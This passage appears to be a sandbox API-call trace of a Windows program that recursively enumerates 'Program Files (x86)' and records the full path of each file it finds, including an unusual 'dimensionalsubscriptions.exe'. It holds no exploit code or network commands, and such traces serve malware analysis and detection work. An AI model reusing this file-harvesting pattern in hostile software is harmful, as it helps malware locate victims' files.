lpString1=0x465fc0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" [0030.020] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.020] lstrcmpW (lpString1="WMPNSSUI.dll", lpString2=".") returned 1 [0030.020] lstrcmpW (lpString1="WMPNSSUI.dll", lpString2="..") returned 1 [0030.020] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.020] lstrlenW (lpString="WMPNSSUI.dll") returned 12 [0030.021] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPNSSUI.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" [0030.021] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned 56 [0030.021] lstrcpyW (in: lpString1=0x466040, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" [0030.021] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.021] lstrcmpW (lpString1="wmprph.exe", lpString2=".") returned 1 [0030.021] lstrcmpW (lpString1="wmprph.exe", lpString2="..") returned 1 [0030.021] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.021] lstrlenW (lpString="wmprph.exe") returned 10 [0030.021] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmprph.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" [0030.021] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned 54 [0030.021] lstrcpyW (in: lpString1=0x460e70, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" [0030.021] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.021] lstrcmpW (lpString1="wmpshare.exe", lpString2=".") returned 1 [0030.021] lstrcmpW (lpString1="wmpshare.exe", lpString2="..") returned 1 [0030.021] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0030.021] lstrlenW (lpString="wmpshare.exe") returned 12 [0030.021] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpshare.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" [0030.021] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned 56 [0030.021] lstrcpyW (in: lpString1=0x4660c0, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" [0030.021] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0030.021] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0030.021] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0030.021] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1 [0030.021] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1 [0030.021] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0030.021] lstrlenW (lpString="Windows NT") returned 10 [0030.021] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows NT" | out: lpString1="c:\\Program Files (x86)\\Windows NT") returned="c:\\Program Files (x86)\\Windows NT" [0030.021] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\") returned="c:\\Program Files (x86)\\Windows NT\\" [0030.021] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0030.021] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\*") returned="c:\\Program Files (x86)\\Windows NT\\*" [0030.021] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0030.021] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.021] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.021] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.021] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.021] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.021] lstrcmpW (lpString1="Accessories", lpString2=".") returned 1 [0030.021] lstrcmpW (lpString1="Accessories", lpString2="..") returned 1 [0030.021] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0030.021] lstrlenW (lpString="Accessories") returned 11 [0030.021] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="Accessories" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories") returned="c:\\Program Files (x86)\\Windows NT\\Accessories" [0030.021] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\" [0030.021] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0030.021] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\*") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\*" [0030.021] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\Accessories\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.031] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.031] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.031] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.031] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.031] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.031] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0030.031] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0030.031] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0030.031] lstrlenW (lpString="en-US") returned 5 [0030.031] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\en-US") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\en-US" [0030.031] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.031] lstrcmpW (lpString1="wordpad.exe", lpString2=".") returned 1 [0030.031] lstrcmpW (lpString1="wordpad.exe", lpString2="..") returned 1 [0030.031] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0030.031] lstrlenW (lpString="wordpad.exe") returned 11 [0030.031] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="wordpad.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" [0030.031] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned 57 [0030.031] lstrcpyW (in: lpString1=0x466140, lpString2="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" [0030.031] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.031] lstrcmpW (lpString1="WordpadFilter.dll", lpString2=".") returned 1 [0030.031] lstrcmpW (lpString1="WordpadFilter.dll", lpString2="..") returned 1 [0030.031] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0030.031] lstrlenW (lpString="WordpadFilter.dll") returned 17 [0030.031] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="WordpadFilter.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" [0030.031] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned 63 [0030.031] lstrcpyW (in: lpString1=0x462798, lpString2="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" [0030.031] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0030.031] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0030.031] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.031] lstrcmpW (lpString1="dimensionalsubscriptions.exe", lpString2=".") returned 1 [0030.031] lstrcmpW (lpString1="dimensionalsubscriptions.exe", lpString2="..") returned 1 [0030.031] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0030.031] lstrlenW (lpString="dimensionalsubscriptions.exe") returned 28 [0030.031] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="dimensionalsubscriptions.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0030.031] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned 62 [0030.031] lstrcpyW (in: lpString1=0x462820, lpString2="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0030.031] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.031] lstrcmpW (lpString1="TableTextService", lpString2=".") returned 1 [0030.031] lstrcmpW (lpString1="TableTextService", lpString2="..") returned 1 [0030.031] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0030.031] lstrlenW (lpString="TableTextService") returned 16 [0030.031] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="TableTextService" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService" [0030.031] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\" [0030.032] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0030.032] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*" [0030.032] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.033] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.033] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.033] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.033] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.033] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.033] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0030.033] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0030.033] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0030.033] lstrlenW (lpString="en-US") returned 5 [0030.033] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US" [0030.033] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.033] lstrcmpW (lpString1="TableTextService.dll", lpString2=".") returned 1 [0030.033] lstrcmpW (lpString1="TableTextService.dll", lpString2="..") returned 1 [0030.033] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0030.033] lstrlenW (lpString="TableTextService.dll") returned 20 [0030.033] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextService.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" [0030.033] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned 71 [0030.033] lstrcpyW (in: lpString1=0x4686f0, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" [0030.033] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.033] lstrcmpW (lpString1="TableTextServiceAmharic.txt", lpString2=".") returned 1 [0030.033] lstrcmpW (lpString1="TableTextServiceAmharic.txt", lpString2="..") returned 1 [0030.033] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0030.033] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27 [0030.033] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceAmharic.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" [0030.033] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned 78 [0030.033] lstrcpyW (in: lpString1=0x468788, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" [0030.033] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.033] lstrcmpW (lpString1="TableTextServiceArray.txt", lpString2=".") returned 1 [0030.033] lstrcmpW (lpString1="TableTextServiceArray.txt", lpString2="..") returned 1 [0030.033] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0030.033] lstrlenW (lpString="TableTextServiceArray.txt") returned 25 [0030.033] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceArray.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" [0030.033] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned 76 [0030.033] lstrcpyW (in: lpString1=0x468830, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" [0030.033] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.033] lstrcmpW (lpString1="TableTextServiceDaYi.txt", lpString2=".") returned 1 [0030.033] lstrcmpW (lpString1="TableTextServiceDaYi.txt", lpString2="..") returned 1 [0030.033] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0030.033] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24 [0030.033] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceDaYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" [0030.033] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned 75 [0030.033] lstrcpyW (in: lpString1=0x4688d8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" [0030.033] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.033] lstrcmpW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".") returned 1 [0030.033] lstrcmpW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="..") returned 1 [0030.033] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0030.033] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37 [0030.033] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" [0030.033] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned 88 [0030.034] lstrcpyW (in: lpString1=0x468978, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" [0030.034] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.034] lstrcmpW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".") returned 1 [0030.034] lstrcmpW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="..") returned 1 [0030.034] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0030.034] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39 [0030.034] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" [0030.034] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned 90 [0030.034] lstrcpyW (in: lpString1=0x468a38, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" [0030.034] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.034] lstrcmpW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".") returned 1 [0030.034] lstrcmpW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="..") returned 1 [0030.034] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0030.034] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37 [0030.034] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" [0030.034] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned 88 [0030.034] lstrcpyW (in: lpString1=0x468af8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" [0030.034] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.034] lstrcmpW (lpString1="TableTextServiceYi.txt", lpString2=".") returned 1 [0030.034] lstrcmpW (lpString1="TableTextServiceYi.txt", lpString2="..") returned 1 [0030.034] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0030.034] lstrlenW (lpString="TableTextServiceYi.txt") returned 22 [0030.034] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" [0030.034] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned 73 [0030.034] lstrcpyW (in: lpString1=0x468bb8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" [0030.034] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0030.034] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0030.034] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0030.034] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0030.035] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0030.035] lstrcmpW (lpString1="Windows Photo Viewer", lpString2=".") returned 1 [0030.035] lstrcmpW (lpString1="Windows Photo Viewer", lpString2="..") returned 1 [0030.035] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0030.035] lstrlenW (lpString="Windows Photo Viewer") returned 20 [0030.035] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Photo Viewer" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer") returned="c:\\Program Files (x86)\\Windows Photo Viewer" [0030.035] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\" [0030.035] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0030.035] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\*") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\*" [0030.035] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0030.071] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.071] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.071] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.071] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.071] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0030.071] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0030.071] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0030.072] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0030.072] lstrlenW (lpString="en-US") returned 5 [0030.072] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US" [0030.072] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\" [0030.072] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0030.072] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*" [0030.072] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0030.072] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0030.072] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.072] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0030.072] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0030.072] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0030.072] lstrcmpW (lpString1="ImagingDevices.exe.mui", lpString2=".") returned 1 [0030.072] lstrcmpW (lpString1="ImagingDevices.exe.mui", lpString2="..") returned 1 [0030.072] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0030.072] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22 [0030.072] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="ImagingDevices.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" [0030.072] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned 72 [0030.072] lstrcpyW (in: lpString1=0x468c58, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") 